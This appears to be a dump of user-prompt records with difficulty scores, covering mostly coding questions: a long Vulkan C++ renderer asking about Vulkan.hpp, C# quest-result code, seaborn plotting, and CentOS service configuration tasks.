(currentCmdBufferIndex + 1) % 2; currentCommandBuffer = commandBuffers[currentFrame * 2 + currentCmdBufferIndex]; // Add debug message before vkBeginCommandBuffer //std::cout << "Current Frame: " << currentFrame << " | Cmd Buffer Index: " << currentCmdBufferIndex << " | Image Index: " << imageIndex << "\n"; //std::cout << "Calling vkBeginCommandBuffer…\n"; vkBeginCommandBuffer(currentCommandBuffer, &beginInfo); //std::cout << "vkBeginCommandBuffer called…\n"; VkRenderPassBeginInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO; renderPassInfo.renderPass = renderPass; renderPassInfo.framebuffer = framebuffers[imageIndex]; renderPassInfo.renderArea.offset = { 0, 0 }; renderPassInfo.renderArea.extent = swapChainExtent; // Set the clear color to black VkClearValue clearColor = { 0.0f, 0.0f, 0.0f, 1.0f }; renderPassInfo.clearValueCount = 1; renderPassInfo.pClearValues = &clearColor; vkCmdBeginRenderPass(currentCommandBuffer, &renderPassInfo, VK_SUBPASS_CONTENTS_INLINE); } void Renderer::EndFrame() { vkCmdEndRenderPass(currentCommandBuffer); VkSubmitInfo submitInfo{}; submitInfo.sType = VK_STRUCTURE_TYPE_SUBMIT_INFO; VkPipelineStageFlags waitStages[] = { VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT }; submitInfo.waitSemaphoreCount = 1; submitInfo.pWaitSemaphores = &imageAvailableSemaphores[currentFrame]; submitInfo.pWaitDstStageMask = waitStages; submitInfo.commandBufferCount = 1; submitInfo.pCommandBuffers = &currentCommandBuffer; submitInfo.signalSemaphoreCount = 1; submitInfo.pSignalSemaphores = &renderFinishedSemaphores[currentFrame]; vkEndCommandBuffer(currentCommandBuffer); vkQueueSubmit(graphicsQueue, 1, &submitInfo, inFlightFences[currentFrame]); VkPresentInfoKHR presentInfo{}; presentInfo.sType = VK_STRUCTURE_TYPE_PRESENT_INFO_KHR; presentInfo.waitSemaphoreCount = 1; presentInfo.pWaitSemaphores = &renderFinishedSemaphores[currentFrame]; VkSwapchainKHR swapChains[] = { swapchain }; presentInfo.swapchainCount = 1; presentInfo.pSwapchains = swapChains; presentInfo.pImageIndices = &imageIndex; VkResult queuePresentResult = vkQueuePresentKHR(presentQueue, &presentInfo); //std::cout << "Frame rendered: " << currentFrame << "\n"; if (queuePresentResult == VK_ERROR_OUT_OF_DATE_KHR || queuePresentResult == VK_SUBOPTIMAL_KHR) { // Handle swapchain recreation if needed, e.g., due to resizing the window or other swapchain properties changes } else if (queuePresentResult != VK_SUCCESS) { throw std::runtime_error("Failed to present the swapchain image."); } currentFrame = (currentFrame + 1) % kMaxFramesInFlight; } void Renderer::CreateSurface() { if (glfwCreateWindowSurface(instance, window, nullptr, &surface) != VK_SUCCESS) { throw std::runtime_error("Failed to create a window surface."); } } void Renderer::DestroySurface() { vkDestroySurfaceKHR(instance, surface, nullptr); } void Renderer::CreateInstance() { // Set up the application info VkApplicationInfo appInfo{}; appInfo.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO; appInfo.pApplicationName = "Game Engine"; appInfo.applicationVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.pEngineName = "Game Engine"; appInfo.engineVersion = VK_MAKE_VERSION(1, 0, 0); appInfo.apiVersion = VK_API_VERSION_1_2; // Set up the instance create info VkInstanceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO; createInfo.pApplicationInfo = &appInfo; // Set up the required extensions uint32_t glfwExtensionCount = 0; const char** glfwExtensions; glfwExtensions = glfwGetRequiredInstanceExtensions(&glfwExtensionCount); createInfo.enabledExtensionCount = glfwExtensionCount; createInfo.ppEnabledExtensionNames = glfwExtensions; createInfo.enabledLayerCount = 0; std::vector<const char*> validationLayers; #ifdef NDEBUG const bool enableValidationLayers = false; #else const bool enableValidationLayers = true; validationLayers.push_back("VK_LAYER_KHRONOS_validation"); #endif if (enableValidationLayers) { // Check if validation layers are supported uint32_t layerCount; vkEnumerateInstanceLayerProperties(&layerCount, nullptr); std::vector<VkLayerProperties> availableLayers(layerCount); vkEnumerateInstanceLayerProperties(&layerCount, availableLayers.data()); for (const char* layerName : validationLayers) { bool layerFound = false; for (const auto& layerProperties : availableLayers) { if (strcmp(layerName, layerProperties.layerName) == 0) { layerFound = true; break; } } if (!layerFound) { throw std::runtime_error("Validation layer requested, but it’s not available."); } } // Enable the validation layers createInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size()); createInfo.ppEnabledLayerNames = validationLayers.data(); } else { createInfo.enabledLayerCount = 0; } // Create the Vulkan instance if (vkCreateInstance(&createInfo, nullptr, &instance) != VK_SUCCESS) { throw std::runtime_error("Failed to create the Vulkan instance."); } } void Renderer::CleanupInstance() { // Destroy the Vulkan instance vkDestroyInstance(instance, nullptr); } void Renderer::ChoosePhysicalDevice() { // Enumerate the available physical devices and choose one that supports required features uint32_t deviceCount = 0; vkEnumeratePhysicalDevices(instance, &deviceCount, nullptr); if (deviceCount == 0) { throw std::runtime_error("Failed to find a GPU with Vulkan support."); } std::vector<VkPhysicalDevice> allDevices(deviceCount); vkEnumeratePhysicalDevices(instance, &deviceCount, allDevices.data()); for (const auto& testDevice : allDevices) { if (glfwGetPhysicalDevicePresentationSupport(instance, testDevice, 0) && CheckPhysicalDeviceExtensionSupport(testDevice).empty() && GetQueueFamilyIndices(testDevice).IsComplete()) { VkPhysicalDeviceFeatures supportedFeatures; vkGetPhysicalDeviceFeatures(testDevice, &supportedFeatures); // Check for anisotropic filtering support if (supportedFeatures.samplerAnisotropy) { physicalDevice = testDevice; break; } } } if (physicalDevice == VK_NULL_HANDLE) { throw std::runtime_error("Failed to find a suitable GPU."); } } void Renderer::CreateDevice() { // Get the GPU’s queue family indices const QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); // Set up the device queue create info std::vector<VkDeviceQueueCreateInfo> queueCreateInfos; std::set<uint32_t> uniqueQueueFamilyIndices = { indices.graphicsFamily.value(),indices.presentFamily.value() }; float queuePriority = 1.0f; for (uint32_t queueFamilyIndex : uniqueQueueFamilyIndices) { VkDeviceQueueCreateInfo queueCreateInfo{}; queueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO; queueCreateInfo.queueFamilyIndex = queueFamilyIndex; queueCreateInfo.queueCount = 1; queueCreateInfo.pQueuePriorities = &queuePriority; queueCreateInfos.push_back(queueCreateInfo); } // Set up the physical device features VkPhysicalDeviceFeatures deviceFeatures{}; deviceFeatures.samplerAnisotropy = VK_TRUE; // Enable anisotropic filtering // Set up the device create info VkDeviceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO; createInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size()); createInfo.pQueueCreateInfos = queueCreateInfos.data(); createInfo.pEnabledFeatures = &deviceFeatures; createInfo.enabledExtensionCount = static_cast<uint32_t>(deviceExtensions.size()); createInfo.ppEnabledExtensionNames = deviceExtensions.data(); // Create the logical device if (vkCreateDevice(physicalDevice, &createInfo, nullptr, &device) != VK_SUCCESS) { throw std::runtime_error("Failed to create a logical device."); } // Retrieve the graphics queue and the present queue vkGetDeviceQueue(device, indices.graphicsFamily.value(), 0, &graphicsQueue); vkGetDeviceQueue(device, indices.presentFamily.value(), 0, &presentQueue); } void Renderer::CleanupDevice() { // Reset the pipeline first to ensure it’s destroyed before the device pipeline.reset(); // Destroy the logical device vkDestroyDevice(device, nullptr); } void Renderer::CreateSwapchain() { // Get swapchain support details SwapChainSupportDetails swapChainSupport = querySwapChainSupport(physicalDevice,surface); VkSurfaceFormatKHR surfaceFormat = chooseSwapSurfaceFormat(swapChainSupport.formats); swapChainImageFormat = surfaceFormat.format; // Initialize the swapChainImageFormat VkPresentModeKHR presentMode = chooseSwapPresentMode(swapChainSupport.presentModes); VkExtent2D extent = chooseSwapExtent(swapChainSupport.capabilities,window); // Update the swapChainExtent with the chosen extent swapChainExtent = extent; uint32_t imageCount = swapChainSupport.capabilities.minImageCount + 1; if (swapChainSupport.capabilities.maxImageCount > 0 && imageCount > swapChainSupport.capabilities.maxImageCount) { imageCount = swapChainSupport.capabilities.maxImageCount; } // Create the swapchain // … VkSwapchainCreateInfoKHR createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR; createInfo.surface = surface; createInfo.minImageCount = imageCount; createInfo.imageFormat = surfaceFormat.format; createInfo.imageColorSpace = surfaceFormat.colorSpace; createInfo.imageExtent = extent; createInfo.imageArrayLayers = 1; createInfo.imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT; QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); uint32_t queueFamilyIndices[] = { indices.graphicsFamily.value(), indices.presentFamily.value() }; if (indices.graphicsFamily != indices.presentFamily) { createInfo.imageSharingMode = VK_SHARING_MODE_CONCURRENT; createInfo.queueFamilyIndexCount = 2; createInfo.pQueueFamilyIndices = queueFamilyIndices; } else { createInfo.imageSharingMode = VK_SHARING_MODE_EXCLUSIVE; } createInfo.preTransform = swapChainSupport.capabilities.currentTransform; createInfo.compositeAlpha = VK_COMPOSITE_ALPHA_OPAQUE_BIT_KHR; createInfo.presentMode = presentMode; createInfo.clipped = VK_TRUE; if (vkCreateSwapchainKHR(device, &createInfo, nullptr, &swapchain) != VK_SUCCESS) { throw std::runtime_error("failed to create swap chain!"); } // Retrieve swapchain images (color buffers) // … // Retrieve swapchain images vkGetSwapchainImagesKHR(device, swapchain, &imageCount, nullptr); swapChainImages.resize(imageCount); vkGetSwapchainImagesKHR(device, swapchain, &imageCount, swapChainImages.data()); // Create image views for swapchain images CreateImageViews(); } void Renderer::CleanupSwapchain() { // Clean up Vulkan swapchain if (swapchain != VK_NULL_HANDLE) { vkDestroySwapchainKHR(device, swapchain, nullptr); swapchain = VK_NULL_HANDLE; } } void Renderer::CreateImageViews() { swapChainImageViews.resize(swapChainImages.size()); for (size_t i = 0; i < swapChainImages.size(); ++i) { VkImageViewCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; createInfo.image = swapChainImages[i]; createInfo.viewType = VK_IMAGE_VIEW_TYPE_2D; createInfo.format = swapChainImageFormat; createInfo.components.r = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.g = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.b = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.a = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; createInfo.subresourceRange.baseMipLevel = 0; createInfo.subresourceRange.levelCount = 1; createInfo.subresourceRange.baseArrayLayer = 0; createInfo.subresourceRange.layerCount = 1; createInfo.flags = 0; if (vkCreateImageView(device, &createInfo, nullptr, &swapChainImageViews[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create an image view."); } } } void Renderer::CleanupImageViews() { for (auto imageView : swapChainImageViews) { vkDestroyImageView(device, imageView, nullptr); } swapChainImageViews.clear(); } void Renderer::CreateRenderPass() { VkAttachmentDescription colorAttachment{}; colorAttachment.format = swapChainImageFormat; colorAttachment.samples = VK_SAMPLE_COUNT_1_BIT; colorAttachment.loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR; colorAttachment.storeOp = VK_ATTACHMENT_STORE_OP_STORE; colorAttachment.stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE; colorAttachment.stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE; colorAttachment.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED; colorAttachment.finalLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; VkAttachmentReference colorAttachmentRef{}; colorAttachmentRef.attachment = 0; colorAttachmentRef.layout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL; VkSubpassDescription subpass{}; subpass.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS; subpass.colorAttachmentCount = 1; subpass.pColorAttachments = &colorAttachmentRef; VkRenderPassCreateInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO; renderPassInfo.attachmentCount = 1; renderPassInfo.pAttachments = &colorAttachment; renderPassInfo.subpassCount = 1; renderPassInfo.pSubpasses = &subpass; VkSubpassDependency dependency{}; dependency.srcSubpass = VK_SUBPASS_EXTERNAL; dependency.dstSubpass = 0; dependency.srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.srcAccessMask = 0; dependency.dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT; renderPassInfo.dependencyCount = 1; renderPassInfo.pDependencies = &dependency; if (vkCreateRenderPass(device, &renderPassInfo, nullptr, &renderPass) != VK_SUCCESS) { throw std::runtime_error("Failed to create render pass."); } } void Renderer::CleanupRenderPass() { vkDestroyRenderPass(device, renderPass, nullptr); } void Renderer::CreateCommandPool() { // Find a queue family index that supports graphics operations QueueFamilyIndices queueFamilyIndices = GetQueueFamilyIndices(physicalDevice); // Create a command pool for the queue family VkCommandPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_COMMAND_POOL_CREATE_INFO; poolInfo.queueFamilyIndex = queueFamilyIndices.graphicsFamily.value(); poolInfo.flags = VK_COMMAND_POOL_CREATE_RESET_COMMAND_BUFFER_BIT; // Set the flag here if (vkCreateCommandPool(device, &poolInfo, nullptr, &commandPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create command pool."); } CreateCommandBuffers(); // Create command buffers after creating the command pool } void Renderer::CleanupCommandPool() { // Clean up Vulkan command pool CleanupCommandBuffers(); // Add this line to clean up command buffers before destroying the command pool vkDestroyCommandPool(device, commandPool, nullptr); } void Renderer::CreateCommandBuffers() { //commandBuffers.resize(kMaxFramesInFlight); commandBuffers.resize(kMaxFramesInFlight * 2); VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.commandPool = commandPool; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandBufferCount = static_cast<uint32_t>(commandBuffers.size()); if (vkAllocateCommandBuffers(device, &allocInfo, commandBuffers.data()) != VK_SUCCESS) { throw std::runtime_error("Failed to allocate command buffers."); } // Set the initial value of the currentCommandBuffer currentCommandBuffer = commandBuffers[currentFrame]; } void Renderer::CleanupCommandBuffers() { vkFreeCommandBuffers(device, commandPool, static_cast<uint32_t>(commandBuffers.size()), commandBuffers.data()); } void Renderer::CreateFramebuffers() { // Check if the framebuffers vector is not empty, and call CleanupFramebuffers() if (!framebuffers.empty()) { CleanupFramebuffers(); } // Create Vulkan framebuffers for swapchain images framebuffers.resize(swapChainImageViews.size()); for (size_t i = 0; i < swapChainImageViews.size(); ++i) { VkImageView attachments[] = { swapChainImageViews[i] }; VkFramebufferCreateInfo framebufferInfo{}; framebufferInfo.sType = VK_STRUCTURE_TYPE_FRAMEBUFFER_CREATE_INFO; framebufferInfo.renderPass = renderPass; framebufferInfo.attachmentCount = 1; framebufferInfo.pAttachments = attachments; framebufferInfo.width = swapChainExtent.width; framebufferInfo.height = swapChainExtent.height; framebufferInfo.layers = 1; if (vkCreateFramebuffer(device, &framebufferInfo, nullptr, &framebuffers[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create framebuffer."); } } } void Renderer::CleanupFramebuffers() { for (auto framebuffer : framebuffers) { if (framebuffer != VK_NULL_HANDLE) { vkDestroyFramebuffer(device, framebuffer, nullptr); framebuffer = VK_NULL_HANDLE; } } framebuffers.clear(); // Make sure to clear the framebuffers vector after destroying each framebuffer } void Renderer::CreateSyncObjects() { imageAvailableSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); renderFinishedSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); inFlightFences.resize(kMaxFramesInFlight, VK_NULL_HANDLE); VkSemaphoreCreateInfo semaphoreInfo{}; semaphoreInfo.sType = VK_STRUCTURE_TYPE_SEMAPHORE_CREATE_INFO; VkFenceCreateInfo fenceInfo{}; fenceInfo.sType = VK_STRUCTURE_TYPE_FENCE_CREATE_INFO; fenceInfo.flags = VK_FENCE_CREATE_SIGNALED_BIT; for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (vkCreateSemaphore(device, &semaphoreInfo, nullptr, &imageAvailableSemaphores[i]) != VK_SUCCESS || vkCreateSemaphore(device, &semaphoreInfo, nullptr, &renderFinishedSemaphores[i]) != VK_SUCCESS || vkCreateFence(device, &fenceInfo, nullptr, &inFlightFences[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create synchronization objects for a frame."); } } } void Renderer::CleanupSyncObjects() { for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (renderFinishedSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, renderFinishedSemaphores[i], nullptr); if (imageAvailableSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, imageAvailableSemaphores[i], nullptr); if (inFlightFences[i] != VK_NULL_HANDLE) vkDestroyFence(device, inFlightFences[i], nullptr); } } SwapChainSupportDetails Renderer::querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface) { SwapChainSupportDetails details; // Query the capabilities vkGetPhysicalDeviceSurfaceCapabilitiesKHR(device, surface, &details.capabilities); // Query the supported formats uint32_t formatCount; vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, nullptr); if (formatCount != 0) { details.formats.resize(formatCount); vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, details.formats.data()); } // Query the supported present modes uint32_t presentModeCount; vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, nullptr); if (presentModeCount != 0) { details.presentModes.resize(presentModeCount); vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, details.presentModes.data()); } return details; } VkSurfaceFormatKHR Renderer::chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats) { for (const auto& availableFormat : availableFormats) { if (availableFormat.format == VK_FORMAT_B8G8R8A8_SRGB && availableFormat.colorSpace == VK_COLOR_SPACE_SRGB_NONLINEAR_KHR) { return availableFormat; } } return availableFormats[0]; } VkPresentModeKHR Renderer::chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes) { for (const auto& availablePresentMode : availablePresentModes) { if (availablePresentMode == VK_PRESENT_MODE_MAILBOX_KHR) { return availablePresentMode; } } return VK_PRESENT_MODE_FIFO_KHR; } VkExtent2D Renderer::chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window) { if (capabilities.currentExtent.width != UINT32_MAX) { return capabilities.currentExtent; } else { int width, height; glfwGetFramebufferSize(window, &width, &height); VkExtent2D actualExtent = { static_cast<uint32_t>(width), static_cast<uint32_t>(height) }; actualExtent.width = std::max(capabilities.minImageExtent.width, std::min(capabilities.maxImageExtent.width, actualExtent.width)); actualExtent.height = std::max(capabilities.minImageExtent.height, std::min(capabilities.maxImageExtent.height, actualExtent.height)); return actualExtent; } } std::vector<const char*> Renderer::CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice) { uint32_t extensionCount; vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, nullptr); std::vector<VkExtensionProperties> availableExtensions(extensionCount); vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, availableExtensions.data()); std::set<std::string> requiredExtensions(deviceExtensions.begin(), deviceExtensions.end()); for (const auto& extension : availableExtensions) { requiredExtensions.erase(extension.extensionName); } std::vector<const char*> remainingExtensions; for (const auto& extension : requiredExtensions) { remainingExtensions.push_back(extension.c_str()); } return remainingExtensions; } QueueFamilyIndices Renderer::GetQueueFamilyIndices(VkPhysicalDevice physicalDevice) { QueueFamilyIndices indices; uint32_t queueFamilyCount = 0; vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, nullptr); std::vector<VkQueueFamilyProperties> queueFamilies(queueFamilyCount); vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, queueFamilies.data()); int i = 0; for (const auto& queueFamily : queueFamilies) { if (queueFamily.queueFlags & VK_QUEUE_GRAPHICS_BIT) { indices.graphicsFamily = i; } VkBool32 presentSupport = false; vkGetPhysicalDeviceSurfaceSupportKHR(physicalDevice, i, surface, &presentSupport); if (presentSupport) { indices.presentFamily = i; } if (indices.IsComplete()) { break; } i++; } return indices; } VkDevice* Renderer::GetDevice() { return &device; }; VkPhysicalDevice* Renderer::GetPhysicalDevice() { return &physicalDevice; }; VkCommandPool* Renderer::GetCommandPool() { return &commandPool; }; VkQueue* Renderer::GetGraphicsQueue() { return &graphicsQueue; }; VkCommandBuffer* Renderer::GetCurrentCommandBuffer() { return &currentCommandBuffer; } VkDescriptorSetLayout Renderer::CreateDescriptorSetLayout() { VkDescriptorSetLayoutBinding uboLayoutBinding{}; uboLayoutBinding.binding = 0; uboLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; uboLayoutBinding.descriptorCount = 1; uboLayoutBinding.stageFlags = VK_SHADER_STAGE_VERTEX_BIT; uboLayoutBinding.pImmutableSamplers = nullptr; // Add sampler layout binding VkDescriptorSetLayoutBinding samplerLayoutBinding{}; samplerLayoutBinding.binding = 1; samplerLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerLayoutBinding.descriptorCount = 1; samplerLayoutBinding.stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT; samplerLayoutBinding.pImmutableSamplers = nullptr; std::array<VkDescriptorSetLayoutBinding, 2> bindings = { uboLayoutBinding, samplerLayoutBinding }; VkDescriptorSetLayoutCreateInfo layoutInfo{}; layoutInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_LAYOUT_CREATE_INFO; layoutInfo.bindingCount = static_cast<uint32_t>(bindings.size()); layoutInfo.pBindings = bindings.data(); VkDescriptorSetLayout descriptorSetLayout; if (vkCreateDescriptorSetLayout(device, &layoutInfo, nullptr, &descriptorSetLayout) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor set layout!"); } return descriptorSetLayout; } VkDescriptorPool Renderer::CreateDescriptorPool(uint32_t maxSets) { VkDescriptorPoolSize poolSize{}; poolSize.type = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; poolSize.descriptorCount = maxSets; // Add an additional descriptor pool size for COMBINED_IMAGE_SAMPLER VkDescriptorPoolSize samplerPoolSize{}; samplerPoolSize.type = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerPoolSize.descriptorCount = maxSets; std::array<VkDescriptorPoolSize, 2> poolSizes = { poolSize, samplerPoolSize }; VkDescriptorPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO; poolInfo.poolSizeCount = static_cast<uint32_t>(poolSizes.size()); poolInfo.pPoolSizes = poolSizes.data(); poolInfo.maxSets = maxSets; VkDescriptorPool descriptorPool; if (vkCreateDescriptorPool(device, &poolInfo, nullptr, &descriptorPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor pool!"); } return descriptorPool; } void Renderer::CreateGraphicsPipeline(Mesh* mesh, Material* material) { vkDeviceWaitIdle(device); if (pipeline) { pipeline->Cleanup(); } // Create pipeline object and configure its properties pipeline = std::make_shared<Pipeline>(); pipeline->CreateGraphicsPipeline(mesh->GetVertexInputBindingDescriptions(), mesh->GetVertexInputAttributeDescriptions(), swapChainExtent, {material->GetvertexShader().get(), material->GetfragmentShader().get()}, renderPass, material->GetPipelineLayout(), device); } std::shared_ptr<Pipeline> Renderer::GetPipeline() { return pipeline; } std::pair<VkBuffer, VkDeviceMemory> Renderer::RequestMvpBuffer() { uint32_t mvpBufferIndex = currentMvpBufferIndex; VkBuffer mvpBuffer = mvpBuffers[mvpBufferIndex]; VkDeviceMemory& requestedMvpBufferMemory = mvpBufferMemory[mvpBufferIndex]; // Changed the variable name currentMvpBufferIndex = (currentMvpBufferIndex + 1) % kMvpBufferCount; return std::make_pair(mvpBuffer, requestedMvpBufferMemory); } How could using Vulkan.hpp improve this code?
0af9ac22d454244e5f80f7a1970048f6
{ "intermediate": 0.3268023133277893, "beginner": 0.3990335762500763, "expert": 0.274164080619812 }
11,799
how can I download libraries in visual studio code?
d9160533ff81fcdbd27bc64cd3c4c4e8
{ "intermediate": 0.8111354112625122, "beginner": 0.08893363922834396, "expert": 0.09993093460798264 }
11,800
подскажи как мне добавить к этому коду метод который будет записывать результат выполнения квеста public static class SessionResultsPuller { public static List<SessionResult> GetAllSessionsResults(StatisticsProvider provider, User desiredUser) { var sessionListDb = provider.GetSessionList(desiredUser).Reverse(); var sessionList = new List<SessionResult>(); foreach (var session in sessionListDb) { var questResultList = GetQuestResultList(provider, session); sessionList.Add(CreateSessionResult(desiredUser, session, questResultList)); } return sessionList; } public static SessionResult GetLastSessionResult(StatisticsProvider provider, User desiredUser) { var session = provider.GetLastSession(desiredUser); var questResultList = GetQuestResultList(provider, session); var sessionResult = CreateSessionResult(desiredUser, session, questResultList); return sessionResult; } private static List<QuestResult> GetQuestResultList(StatisticsProvider provider, Session session) { var questListDb = provider.GetQuestList(session); var questList = new List<QuestResult>(); foreach (var quest in questListDb) { var notificationListDb = provider.GetEventList(quest); var notificationList = new List<EventResult>(); foreach (var notification in notificationListDb) { //TODO: результаты уведомлений пока все true notificationList.Add(new EventResult(notification.Message, true)); } //TODO: привязать параметр Value(он видимо отвечает за результат выполнения квеста) к типу QuestResultType. У Value должны быть какие-то коды, пока в тз не прописано questList.Add(new QuestResult(quest.QuestName, notificationList, QuestResultType.InProgress)); } return questList; } private static SessionResult CreateSessionResult(User desiredUser, Session session, List<QuestResult> questResultList) { var nameValidator = new NameValidator(); if (nameValidator.ValidateFullName(desiredUser.Name)) { return new SessionResult(nameValidator.GetShortName(desiredUser.Name) + " " + session.Timestamp, questResultList, session.Timestamp); } else { return new SessionResult(desiredUser.Name + " " + session.Timestamp, questResultList, session.Timestamp); } } }
67a1fecce2864db90480a29e864de826
{ "intermediate": 0.2368706911802292, "beginner": 0.6183555126190186, "expert": 0.14477379620075226 }
11,801
Hi, I am currently plotting a kde plot on top of an image with the python library seaborn. However, since my image is quite large, my web app using seaborn is quite slow. There are suggestions to rather use altair or plotly. Can I achieve the same thing with one of those libraries?
7161c929e5e914d9f256109424353d37
{ "intermediate": 0.8439293503761292, "beginner": 0.0523466095328331, "expert": 0.10372399538755417 }
11,802
i dont know anything about interface in javascript
a4ad485b62fd8e76a35cbf03fad9a663
{ "intermediate": 0.43761351704597473, "beginner": 0.36568257212638855, "expert": 0.19670389592647552 }
11,803
hi pleas help me in centos 7 oprating system 1. Change your server name to your name, verify and display after change 2. Make sshd as a wantedBy graphical_target. 3. Is their any conflicat with other unit. 4. Make rescue_target as Isolate. 5. Check if firewalled service is run,and make it available at system boot by defafult. 6. Start iptables in this session. Explain if it start or not, and why it start or not.
2d9b89a3536c47ec804edae6ab986674
{ "intermediate": 0.3863712251186371, "beginner": 0.3223612904548645, "expert": 0.29126742482185364 }
11,804
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. Here is a portion of the code: Renderer.h: #pragma once #include <vulkan/vulkan.h> #include "Window.h" #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include "Pipeline.h" #include "Material.h" #include "Mesh.h" struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { VkSurfaceCapabilitiesKHR capabilities; std::vector<VkSurfaceFormatKHR> formats; std::vector<VkPresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); VkDescriptorSetLayout CreateDescriptorSetLayout(); VkDescriptorPool CreateDescriptorPool(uint32_t maxSets); VkDevice* GetDevice(); VkPhysicalDevice* GetPhysicalDevice(); VkCommandPool* GetCommandPool(); VkQueue* GetGraphicsQueue(); VkCommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<VkBuffer, VkDeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<VkBuffer> mvpBuffers; std::vector<VkDeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<VkImage> swapChainImages; std::vector<VkImageView> swapChainImageViews; VkExtent2D swapChainExtent; VkRenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; VkFormat swapChainImageFormat; std::vector<VkCommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void 